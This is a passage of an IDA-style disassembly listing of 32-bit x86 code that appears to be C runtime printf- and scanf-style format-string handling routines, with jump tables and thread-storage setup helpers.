		jmp	short loc_4150BE
; ---------------------------------------------------------------------------


loc_4150BB:				; CODE XREF: sub_414CA3+40Fj
		mov	[ebp+var_C], edi


loc_4150BE:				; CODE XREF: sub_414CA3+2EBj
					; sub_414CA3+3D9j ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		push	[ebp+var_3C]
		add	eax, 8
		push	[ebp+var_C]
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_48], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_4C]
		push	esi
		push	eax
		mov	[ebp+var_4C], ecx
		call	off_42CE18
		mov	edi, [ebp+var_8]
		add	esp, 14h
		and	edi, 80h
		jz	short loc_415103
		cmp	[ebp+var_C], 0
		jnz	short loc_415103
		push	esi
		call	off_42CE24
		pop	ecx


loc_415103:				; CODE XREF: sub_414CA3+450j
					; sub_414CA3+456j
		cmp	bl, 67h
		jnz	short loc_415114
		test	edi, edi
		jnz	short loc_415114
		push	esi
		call	off_42CE1C
		pop	ecx


loc_415114:				; CODE XREF: sub_414CA3+463j
					; sub_414CA3+467j
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_415121
		or	byte ptr [ebp+var_8+1],	1
		inc	esi
		mov	[ebp+var_10], esi


loc_415121:				; CODE XREF: sub_414CA3+474j
		push	esi


loc_415122:				; CODE XREF: sub_414CA3+3CFj
		call	sub_416000
		pop	ecx
		jmp	loc_4152F3
; ---------------------------------------------------------------------------


loc_41512D:				; CODE XREF: sub_414CA3+23Ej
		sub	eax, 69h
		jz	loc_414FE2
		sub	eax, 5
		jz	loc_4151F4
		dec	eax
		jz	loc_4151DA
		dec	eax
		jz	short loc_4151A7
		sub	eax, 3
		jz	loc_414F25
		dec	eax
		dec	eax
		jz	loc_414FE6
		sub	eax, 3
		jnz	loc_4152F6
		mov	[ebp+var_30], 27h
		jmp	short loc_4151B1
; ---------------------------------------------------------------------------


loc_41516C:				; CODE XREF: sub_414CA3+4D4j
		dec	ecx
		cmp	word ptr [eax],	0
		jz	short loc_415179
		inc	eax
		inc	eax


loc_415175:				; CODE XREF: sub_414CA3+2BEj
		test	ecx, ecx
		jnz	short loc_41516C


loc_415179:				; CODE XREF: sub_414CA3+4CEj
		sub	eax, [ebp+var_10]
		sar	eax, 1
		jmp	loc_4152F3
; ---------------------------------------------------------------------------


loc_415183:				; CODE XREF: sub_414CA3+2A2j
		test	eax, eax
		jnz	short loc_41518F
		mov	eax, off_42C748
		mov	[ebp+var_10], eax


loc_41518F:				; CODE XREF: sub_414CA3+4E2j
		mov	eax, [ebp+var_10]
		jmp	short loc_41519B
; ---------------------------------------------------------------------------


loc_415194:				; CODE XREF: sub_414CA3+4FAj
		dec	ecx
		cmp	byte ptr [eax],	0
		jz	short loc_41519F
		inc	eax


loc_41519B:				; CODE XREF: sub_414CA3+4EFj
		test	ecx, ecx
		jnz	short loc_415194


loc_41519F:				; CODE XREF: sub_414CA3+4F5j
		sub	eax, [ebp+var_10]
		jmp	loc_4152F3
; ---------------------------------------------------------------------------


loc_4151A7:				; CODE XREF: sub_414CA3+4A4j
		mov	[ebp+var_C], 8


loc_4151AE:				; CODE XREF: sub_414CA3+256j
		mov	[ebp+var_30], ecx


loc_4151B1:				; CODE XREF: sub_414CA3+4C7j
		test	byte ptr [ebp+var_8], 80h
		mov	[ebp+var_14], 10h
		jz	loc_414FED
		mov	al, byte ptr [ebp+var_30]
		add	al, 51h
		mov	[ebp+var_1C], 30h
		mov	[ebp+var_1B], al
		mov	[ebp+var_20], 2
		jmp	loc_414FED
; ---------------------------------------------------------------------------


loc_4151DA:				; CODE XREF: sub_414CA3+49Dj
		test	byte ptr [ebp+var_8], 80h
		mov	[ebp+var_14], 8
		jz	loc_414FED
		or	byte ptr [ebp+var_8+1],	2
		jmp	loc_414FED
; ---------------------------------------------------------------------------


loc_4151F4:				; CODE XREF: sub_414CA3+496j
		add	[ebp+arg_8], 4
		test	byte ptr [ebp+var_8], 20h
		mov	eax, [ebp+arg_8]
		mov	eax, [eax-4]
		jz	short loc_41520D
		mov	cx, word ptr [ebp+var_18]
		mov	[eax], cx
		jmp	short loc_415212
; ---------------------------------------------------------------------------


loc_41520D:				; CODE XREF: sub_414CA3+55Fj
		mov	ecx, [ebp+var_18]
		mov	[eax], ecx


loc_415212:				; CODE XREF: sub_414CA3+568j
		mov	[ebp+var_34], 1
		jmp	loc_4153E5
; ---------------------------------------------------------------------------


loc_41521E:				; CODE XREF: sub_414CA3+354j
		add	[ebp+arg_8], 4
		test	bl, 20h
		mov	eax, [ebp+arg_8]
		jz	short loc_41523C
		test	bl, 40h
		jz	short loc_415236
		movsx	eax, word ptr [eax-4]


loc_415233:				; CODE XREF: sub_414CA3+597j
					; sub_414CA3+59Fj
		cdq
		jmp	short loc_415246
; ---------------------------------------------------------------------------


loc_415236:				; CODE XREF: sub_414CA3+58Aj
		movzx	eax, word ptr [eax-4]
		jmp	short loc_415233
; ---------------------------------------------------------------------------


loc_41523C:				; CODE XREF: sub_414CA3+585j
		test	bl, 40h
		mov	eax, [eax-4]
		jnz	short loc_415233
		xor	edx, edx


loc_415246:				; CODE XREF: sub_414CA3+368j
					; sub_414CA3+591j
		test	bl, 40h
		jz	short loc_415260
		test	edx, edx
		jg	short loc_415260
		jl	short loc_415255
		test	eax, eax
		jnb	short loc_415260


loc_415255:				; CODE XREF: sub_414CA3+5ACj
		neg	eax
		adc	edx, 0
		neg	edx
		or	byte ptr [ebp+var_8+1],	1


loc_415260:				; CODE XREF: sub_414CA3+5A6j
					; sub_414CA3+5AAj ...
		test	[ebp+var_8], esi
		mov	ebx, eax
		mov	edi, edx
		jnz	short loc_41526B
		xor	edi, edi


loc_41526B:				; CODE XREF: sub_414CA3+5C4j
		cmp	[ebp+var_C], 0
		jge	short loc_41527A
		mov	[ebp+var_C], 1
		jmp	short loc_41528B
; ---------------------------------------------------------------------------


loc_41527A:				; CODE XREF: sub_414CA3+5CCj
		and	[ebp+var_8], 0FFFFFFF7h
		mov	eax, 200h
		cmp	[ebp+var_C], eax
		jle	short loc_41528B
		mov	[ebp+var_C], eax


loc_41528B:				; CODE XREF: sub_414CA3+5D5j
					; sub_414CA3+5E3j
		mov	eax, ebx
		or	eax, edi
		jnz	short loc_415295
		and	[ebp+var_20], 0


loc_415295:				; CODE XREF: sub_414CA3+5ECj
		lea	esi, [ebp+var_55]


loc_415298:				; CODE XREF: sub_414CA3+627j
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jg	short loc_4152A8
		mov	eax, ebx
		or	eax, edi
		jz	short loc_4152CC


loc_4152A8:				; CODE XREF: sub_414CA3+5FDj
		mov	eax, [ebp+var_14]
		cdq
		push	edx
		push	eax
		push	edi
		push	ebx
		call	sub_413500
		add	ecx, 30h
		cmp	ecx, 39h
		mov	[ebp+var_40], ebx
		mov	ebx, eax
		mov	edi, edx
		jle	short loc_4152C7
		add	ecx, [ebp+var_30]


loc_4152C7:				; CODE XREF: sub_414CA3+61Fj
		mov	[esi], cl
		dec	esi
		jmp	short loc_415298
; ---------------------------------------------------------------------------


loc_4152CC:				; CODE XREF: sub_414CA3+603j
		lea	eax, [ebp+var_55]
		sub	eax, esi
		inc	esi
		test	byte ptr [ebp+var_8+1],	2
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], esi
		jz	short loc_4152F6
		mov	ecx, esi
		cmp	byte ptr [ecx],	30h
		jnz	short loc_4152E9
		test	eax, eax
		jnz	short loc_4152F6


loc_4152E9:				; CODE XREF: sub_414CA3+640j
		dec	[ebp+var_10]
		mov	ecx, [ebp+var_10]
		mov	byte ptr [ecx],	30h
		inc	eax


loc_4152F3:				; CODE XREF: sub_414CA3+3B8j
					; sub_414CA3+3C1j ...
		mov	[ebp+var_14], eax


loc_4152F6:				; CODE XREF: sub_414CA3+270j
					; sub_414CA3+339j ...
		cmp	[ebp+var_34], 0
		jnz	loc_4153E5
		mov	ebx, [ebp+var_8]
		test	bl, 40h
		jz	short loc_41532E
		test	bh, 1
		jz	short loc_415313
		mov	[ebp+var_1C], 2Dh
		jmp	short loc_415327
; ---------------------------------------------------------------------------


loc_415313:				; CODE XREF: sub_414CA3+668j
		test	bl, 1
		jz	short loc_41531E
		mov	[ebp+var_1C], 2Bh
		jmp	short loc_415327
; ---------------------------------------------------------------------------


loc_41531E:				; CODE XREF: sub_414CA3+673j
		test	bl, 2
		jz	short loc_41532E
		mov	[ebp+var_1C], 20h


loc_415327:				; CODE XREF: sub_414CA3+66Ej
					; sub_414CA3+679j
		mov	[ebp+var_20], 1


loc_41532E:				; CODE XREF: sub_414CA3+663j
					; sub_414CA3+67Ej
		mov	esi, [ebp+var_24]
		sub	esi, [ebp+var_20]
		sub	esi, [ebp+var_14]
		test	bl, 0Ch
		jnz	short loc_41534D
		push	[ebp+arg_0]
		lea	eax, [ebp+var_18]
		push	esi
		push	20h
		call	sub_414C48
		add	esp, 0Ch


loc_41534D:				; CODE XREF: sub_414CA3+697j
		push	[ebp+var_20]
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+var_18]
		lea	ecx, [ebp+var_1C]
		call	sub_414C6C
		test	bl, 8
		pop	ecx
		jz	short loc_415378
		test	bl, 4
		jnz	short loc_415378
		push	edi
		push	esi
		push	30h
		lea	eax, [ebp+var_18]
		call	sub_414C48
		add	esp, 0Ch


loc_415378:				; CODE XREF: sub_414CA3+6BFj
					; sub_414CA3+6C4j
		cmp	[ebp+var_28], 0
		jz	short loc_4153BF
		cmp	[ebp+var_14], 0
		jle	short loc_4153BF
		mov	eax, [ebp+var_14]
		mov	ebx, [ebp+var_10]
		mov	[ebp+var_40], eax


loc_41538D:				; CODE XREF: sub_414CA3+718j
		dec	[ebp+var_40]
		xor	eax, eax
		mov	ax, [ebx]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	sub_41AADA
		inc	ebx
		pop	ecx
		inc	ebx
		test	eax, eax
		pop	ecx
		jle	short loc_4153CE
		mov	edi, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_18]
		lea	ecx, [ebp+var_54]
		call	sub_414C6C
		cmp	[ebp+var_40], 0
		pop	ecx
		jnz	short loc_41538D
		jmp	short loc_4153CE
; ---------------------------------------------------------------------------


loc_4153BF:				; CODE XREF: sub_414CA3+6D9j
					; sub_414CA3+6DFj
		push	[ebp+var_14]
		mov	ecx, [ebp+var_10]
		lea	eax, [ebp+var_18]
		call	sub_414C6C
		pop	ecx


loc_4153CE:				; CODE XREF: sub_414CA3+702j
					; sub_414CA3+71Aj
		test	byte ptr [ebp+var_8], 4
		jz	short loc_4153E5
		push	[ebp+arg_0]
		lea	eax, [ebp+var_18]
		push	esi
		push	20h
		call	sub_414C48
		add	esp, 0Ch


loc_4153E5:				; CODE XREF: sub_414CA3+576j
					; sub_414CA3+657j ...
		cmp	[ebp+var_2C], 0
		jz	short loc_4153F8 ; default
		push	[ebp+var_2C]
		call	sub_412FE4
		and	[ebp+var_2C], 0
		pop	ecx


loc_4153F8:				; CODE XREF: sub_414CA3+74j
					; sub_414CA3+99j ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		test	bl, bl
		jnz	loc_414CD8


loc_415405:				; CODE XREF: sub_414CA3+40j
		pop	edi
		pop	esi


loc_415407:				; CODE XREF: sub_414CA3+29j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+var_18]
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_414CA3	endp

; ---------------------------------------------------------------------------
off_415418	dd offset loc_414EA2	; DATA XREF: sub_414CA3+7Ar
		dd offset loc_414D24	; jump table for switch	statement
		dd offset loc_414D41
		dd offset loc_414D8D
		dd offset loc_414DC8
		dd offset loc_414DD1
		dd offset loc_414E09
		dd offset loc_414EDB

; =============== S U B	R O U T	I N E =======================================



sub_415438	proc near		; CODE XREF: sub_4154C7:loc_4154E0p
					; sub_4154C7:loc_41552Dp
		call	sub_416818
		mov	eax, dword_42C750
		cmp	eax, 0FFFFFFFFh
		jz	short locret_415455
		push	eax
		call	ds:dword_41F150
		or	dword_42C750, 0FFFFFFFFh

locret_415455:				; CODE XREF: sub_415438+Dj
		retn
sub_415438	endp


; =============== S U B	R O U T	I N E =======================================



sub_415456	proc near		; CODE XREF: sub_412D64p sub_412D71p ...
		push	ebx
		push	esi
		call	ds:dword_41F008
		push	dword_42C750
		mov	ebx, eax
		call	ds:dword_41F160
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4154BB
		push	88h
		push	1
		call	sub_41AB01
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_4154B3
		push	esi
		push	dword_42C750
		call	ds:dword_41F15C
		test	eax, eax
		jz	short loc_4154B3
		mov	dword ptr [esi+54h], offset dword_42CFE0
		mov	dword ptr [esi+14h], 1
		call	ds:dword_41F158
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		jmp	short loc_4154BB
; ---------------------------------------------------------------------------


loc_4154B3:				; CODE XREF: sub_415456+2Ej
					; sub_415456+3Fj
		push	10h
		call	sub_4148E1
		pop	ecx


loc_4154BB:				; CODE XREF: sub_415456+1Aj
					; sub_415456+5Bj
		push	ebx
		call	ds:dword_41F154
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_415456	endp


; =============== S U B	R O U T	I N E =======================================



sub_4154C7	proc near		; CODE XREF: .text:loc_414A05p
		call	sub_4167CF
		test	eax, eax
		jz	short loc_4154E0
		call	ds:dword_41F164
		cmp	eax, 0FFFFFFFFh
		mov	dword_42C750, eax
		jnz	short loc_4154E8


loc_4154E0:				; CODE XREF: sub_4154C7+7j
		call	sub_415438
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4154E8:				; CODE XREF: sub_4154C7+17j
		push	esi
		push	88h
		push	1
		call	sub_41AB01
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_41552D
		push	esi
		push	dword_42C750
		call	ds:dword_41F15C
		test	eax, eax
		jz	short loc_41552D
		mov	dword ptr [esi+54h], offset dword_42CFE0
		mov	dword ptr [esi+14h], 1
		call	ds:dword_41F158
		or	dword ptr [esi+4], 0FFFFFFFFh
		mov	[esi], eax
		xor	eax, eax
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41552D:				; CODE XREF: sub_4154C7+34j
					; sub_4154C7+45j
		call	sub_415438
		xor	eax, eax
		pop	esi
		retn
sub_4154C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_415536	proc near		; CODE XREF: sub_41554C+52p
					; sub_41554C+1EFp ...
		dec	dword ptr [edx+4]
		js	short loc_415544
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_415544:				; CODE XREF: sub_415536+3j
		push	edx
		call	sub_417455
		pop	ecx
		retn
sub_415536	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41554C	proc near		; CODE XREF: sub_412D93+2Ap

var_1D8		= word ptr -1D8h
var_1D4		= byte ptr -1D4h
var_1D3		= byte ptr -1D3h
var_1D0		= dword	ptr -1D0h
var_1CC		= dword	ptr -1CCh
var_1C8		= byte ptr -1C8h
var_1C7		= byte ptr -1C7h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_39		= byte ptr -39h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	1C8h
		push	offset stru_427878
		call	__SEH_prolog
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		xor	eax, eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_28], eax
		and	[ebp+var_29], al
		mov	[ebp+var_30], eax
		mov	[ebp+var_34], eax


loc_41557A:				; CODE XREF: sub_41554C+88j
					; sub_41554C+A55j ...
		mov	eax, [ebp+arg_4]
		mov	al, [eax]
		test	al, al
		jz	loc_415FB9
		movzx	eax, al
		push	eax
		call	sub_41AC35
		pop	ecx
		test	eax, eax
		jz	short loc_4155D6
		dec	[ebp+var_30]


loc_415598:				; CODE XREF: sub_41554C+62j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_415536
		mov	esi, eax
		push	esi
		call	sub_41AC35
		pop	ecx
		test	eax, eax
		jnz	short loc_415598
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4155C0
		push	[ebp+arg_0]
		push	esi
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_4155C0:				; CODE XREF: sub_41554C+67j
					; sub_41554C+86j
		inc	[ebp+arg_4]
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		push	eax
		call	sub_41AC35
		pop	ecx
		test	eax, eax
		jnz	short loc_4155C0
		jmp	short loc_41557A
; ---------------------------------------------------------------------------


loc_4155D6:				; CODE XREF: sub_41554C+47j
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	25h
		jnz	loc_415F35
		xor	edi, edi
		mov	[ebp+var_38], edi
		and	[ebp+var_39], 0
		mov	[ebp+var_40], edi
		mov	[ebp+var_44], edi
		mov	[ebp+var_48], edi
		and	[ebp+var_49], 0
		and	[ebp+var_4A], 0
		and	[ebp+var_4B], 0
		and	[ebp+var_4C], 0
		and	[ebp+var_4D], 0
		and	[ebp+var_4E], 0
		mov	[ebp+var_4F], 1
		mov	[ebp+var_54], edi


loc_415613:				; CODE XREF: sub_41554C+186j
		inc	esi
		movzx	ebx, byte ptr [esi]
		movzx	eax, bl
		push	eax
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jz	short loc_415634
		inc	[ebp+var_44]
		lea	eax, [edi+edi*4]
		lea	edi, [ebx+eax*2-30h]
		jmp	loc_4156CE
; ---------------------------------------------------------------------------


loc_415634:				; CODE XREF: sub_41554C+D7j
		cmp	ebx, 4Eh
		jg	short loc_4156AC
		jz	loc_4156CE
		cmp	ebx, 2Ah
		jz	short loc_4156A7
		cmp	ebx, 46h
		jz	loc_4156CE
		cmp	ebx, 49h
		jz	short loc_41565C
		cmp	ebx, 4Ch
		jnz	short loc_4156BB
		inc	[ebp+var_4F]
		jmp	short loc_4156CE
; ---------------------------------------------------------------------------


loc_41565C:				; CODE XREF: sub_41554C+104j
		mov	cl, [esi+1]
		cmp	cl, 36h
		jnz	short loc_41567B
		lea	eax, [esi+2]
		cmp	byte ptr [eax],	34h
		jnz	short loc_41567B
		mov	esi, eax
		inc	[ebp+var_54]
		and	[ebp+var_5C], 0
		and	[ebp+var_58], 0
		jmp	short loc_4156CE
; ---------------------------------------------------------------------------


loc_41567B:				; CODE XREF: sub_41554C+116j
					; sub_41554C+11Ej
		cmp	cl, 33h
		jnz	short loc_41568C
		lea	eax, [esi+2]
		cmp	byte ptr [eax],	32h
		jnz	short loc_41568C
		mov	esi, eax
		jmp	short loc_4156CE
; ---------------------------------------------------------------------------


loc_41568C:				; CODE XREF: sub_41554C+132j
					; sub_41554C+13Aj
		cmp	cl, 64h
		jz	short loc_4156CE
		cmp	cl, 69h
		jz	short loc_4156CE
		cmp	cl, 6Fh
		jz	short loc_4156CE
		cmp	cl, 78h
		jz	short loc_4156CE
		cmp	cl, 58h
		jnz	short loc_4156BB
		jmp	short loc_4156CE
; ---------------------------------------------------------------------------


loc_4156A7:				; CODE XREF: sub_41554C+F6j
		inc	[ebp+var_4B]
		jmp	short loc_4156CE
; ---------------------------------------------------------------------------


loc_4156AC:				; CODE XREF: sub_41554C+EBj
		cmp	ebx, 68h
		jz	short loc_4156C8
		cmp	ebx, 6Ch
		jz	short loc_4156C0
		cmp	ebx, 77h
		jz	short loc_4156C3


loc_4156BB:				; CODE XREF: sub_41554C+109j
					; sub_41554C+157j
		inc	[ebp+var_4C]
		jmp	short loc_4156CE
; ---------------------------------------------------------------------------


loc_4156C0:				; CODE XREF: sub_41554C+168j
		inc	[ebp+var_4F]


loc_4156C3:				; CODE XREF: sub_41554C+16Dj
		inc	[ebp+var_4E]
		jmp	short loc_4156CE
; ---------------------------------------------------------------------------


loc_4156C8:				; CODE XREF: sub_41554C+163j
		dec	[ebp+var_4F]
		dec	[ebp+var_4E]


loc_4156CE:				; CODE XREF: sub_41554C+E3j
					; sub_41554C+EDj ...
		cmp	[ebp+var_4C], 0
		jz	loc_415613
		mov	[ebp+var_48], edi
		mov	[ebp+arg_4], esi
		cmp	[ebp+var_4B], 0
		jnz	short loc_4156F8
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_60], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	ebx, [eax-4]
		mov	[ebp+var_64], ebx
		jmp	short loc_4156FB
; ---------------------------------------------------------------------------


loc_4156F8:				; CODE XREF: sub_41554C+196j
		mov	ebx, [ebp+var_64]


loc_4156FB:				; CODE XREF: sub_41554C+1AAj
		and	[ebp+var_4C], 0
		cmp	[ebp+var_4E], 0
		jnz	short loc_415719
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_415715
		cmp	al, 43h
		jz	short loc_415715
		or	[ebp+var_4E], 0FFh
		jmp	short loc_415719
; ---------------------------------------------------------------------------


loc_415715:				; CODE XREF: sub_41554C+1BDj
					; sub_41554C+1C1j
		mov	[ebp+var_4E], 1


loc_415719:				; CODE XREF: sub_41554C+1B7j
					; sub_41554C+1C7j
		movzx	edi, byte ptr [esi]
		or	edi, 20h
		mov	[ebp+var_68], edi
		cmp	edi, 6Eh
		jz	short loc_415750
		cmp	edi, 63h
		jz	loc_4157B0
		cmp	edi, 7Bh
		jz	short loc_4157B0


loc_415735:				; CODE XREF: sub_41554C+1FFj
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_415536
		mov	esi, eax
		push	esi
		call	sub_41AC35
		pop	ecx
		test	eax, eax
		jnz	short loc_415735
		mov	[ebp+var_28], esi


loc_415750:				; CODE XREF: sub_41554C+1D9j
		mov	esi, [ebp+arg_0]


loc_415753:				; CODE XREF: sub_41554C+274j
		mov	ecx, [ebp+var_44]
		test	ecx, ecx
		jz	short loc_415764
		cmp	[ebp+var_48], 0
		jz	loc_4159B9


loc_415764:				; CODE XREF: sub_41554C+20Cj
		cmp	edi, 6Fh
		jg	loc_415988
		jz	loc_415CFB
		cmp	edi, 63h
		jz	loc_415967
		cmp	edi, 64h
		jz	loc_415CFB
		jle	loc_4159AE
		cmp	edi, 67h
		jle	short loc_4157DA
		cmp	edi, 69h
		jz	short loc_4157C2
		cmp	edi, 6Eh
		jnz	loc_4159AE
		mov	eax, [ebp+var_30]
		cmp	[ebp+var_4B], 0
		jz	loc_415F0D
		jmp	loc_415F2D
; ---------------------------------------------------------------------------


loc_4157B0:				; CODE XREF: sub_41554C+1DEj
					; sub_41554C+1E7j
		inc	[ebp+var_30]
		mov	esi, [ebp+arg_0]
		mov	edx, esi
		call	sub_415536
		mov	[ebp+var_28], eax
		jmp	short loc_415753
; ---------------------------------------------------------------------------


loc_4157C2:				; CODE XREF: sub_41554C+247j
		push	64h
		pop	edi


loc_4157C5:				; CODE XREF: sub_41554C+457j
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	loc_415BF4
		mov	[ebp+var_4A], 1
		jmp	loc_415BF9
; ---------------------------------------------------------------------------


loc_4157DA:				; CODE XREF: sub_41554C+242j
		lea	esi, [ebp+var_1C8]
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	short loc_4157F6
		mov	[ebp+var_1C8], bl
		lea	esi, [ebp+var_1C7]
		jmp	short loc_4157FB
; ---------------------------------------------------------------------------


loc_4157F6:				; CODE XREF: sub_41554C+29Aj
		cmp	ebx, 2Bh
		jnz	short loc_415812


loc_4157FB:				; CODE XREF: sub_41554C+2A8j
		dec	[ebp+var_48]
		inc	[ebp+var_30]
		mov	edi, [ebp+arg_0]
		mov	edx, edi
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		jmp	short loc_415815
; ---------------------------------------------------------------------------


loc_415812:				; CODE XREF: sub_41554C+2ADj
		mov	edi, [ebp+arg_0]


loc_415815:				; CODE XREF: sub_41554C+2C4j
		cmp	[ebp+var_44], 0
		jz	short loc_415824
		cmp	[ebp+var_48], 15Dh
		jle	short loc_41584C


loc_415824:				; CODE XREF: sub_41554C+2CDj
		mov	[ebp+var_48], 15Dh
		jmp	short loc_41584C
; ---------------------------------------------------------------------------


loc_41582D:				; CODE XREF: sub_41554C+309j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_415857
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx


loc_41584C:				; CODE XREF: sub_41554C+2D6j
					; sub_41554C+2DFj
		push	ebx
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jnz	short loc_41582D


loc_415857:				; CODE XREF: sub_41554C+2E9j
		cmp	byte_42D090, bl
		jnz	short loc_4158A9
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_4158A9
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_415536
		mov	ebx, eax
		mov	al, byte_42D090
		mov	[esi], al
		inc	esi
		jmp	short loc_41589B
; ---------------------------------------------------------------------------


loc_41587F:				; CODE XREF: sub_41554C+35Bj
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_4158A9
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_415536
		mov	ebx, eax


loc_41589B:				; CODE XREF: sub_41554C+331j
		push	ebx
		mov	[ebp+var_28], ebx
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jnz	short loc_41587F


loc_4158A9:				; CODE XREF: sub_41554C+311j
					; sub_41554C+31Bj ...
		cmp	[ebp+var_40], 0
		jz	short loc_41591E
		cmp	ebx, 65h
		jz	short loc_4158B9
		cmp	ebx, 45h
		jnz	short loc_41591E


loc_4158B9:				; CODE XREF: sub_41554C+366j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_41591E
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	ebx, 2Dh
		jnz	short loc_4158E0
		mov	[esi], al
		inc	esi
		jmp	short loc_4158E5
; ---------------------------------------------------------------------------


loc_4158E0:				; CODE XREF: sub_41554C+38Dj
		cmp	ebx, 2Bh
		jnz	short loc_415913


loc_4158E5:				; CODE XREF: sub_41554C+392j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jnz	short loc_415904
		and	[ebp+var_48], eax
		jmp	short loc_415913
; ---------------------------------------------------------------------------


loc_4158F4:				; CODE XREF: sub_41554C+3D0j
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_41591E
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi


loc_415904:				; CODE XREF: sub_41554C+3A1j
		mov	edx, edi
		inc	[ebp+var_30]
		call	sub_415536
		mov	ebx, eax
		mov	[ebp+var_28], ebx


loc_415913:				; CODE XREF: sub_41554C+397j
					; sub_41554C+3A6j
		push	ebx
		call	sub_41ABBC
		pop	ecx
		test	eax, eax
		jnz	short loc_4158F4


loc_41591E:				; CODE XREF: sub_41554C+361j
					; sub_41554C+36Bj ...
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41592F
		push	edi
		push	ebx
		call	sub_41AC6F
		pop	ecx
		pop	ecx


loc_41592F:				; CODE XREF: sub_41554C+3D8j
		cmp	[ebp+var_40], 0
		jz	loc_415FB9
		cmp	[ebp+var_4B], 0
		jnz	loc_415F2D
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C8]
		push	eax
		push	[ebp+var_64]
		movsx	eax, [ebp+var_4F]
		dec	eax
		push	eax
		call	off_42CE20
		add	esp, 0Ch
		jmp	loc_415F2D
; ---------------------------------------------------------------------------


loc_415967:				; CODE XREF: sub_41554C+22Aj
		test	ecx, ecx
		jnz	short loc_415975
		mov	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_415975:				; CODE XREF: sub_41554C+41Dj
					; sub_41554C+44Aj
		cmp	[ebp+var_4E], 0
		jle	loc_415B00
		mov	[ebp+var_4D], 1
		jmp	loc_415B00
; ---------------------------------------------------------------------------


loc_415988:				; CODE XREF: sub_41554C+21Bj
		mov	eax, edi
		sub	eax, 70h
		jz	loc_415CF7
		sub	eax, 3
		jz	short loc_415975
		dec	eax
		dec	eax
		jz	loc_415CFB
		sub	eax, 3
		jz	loc_4157C5
		sub	eax, 3
		jz	short loc_4159DA


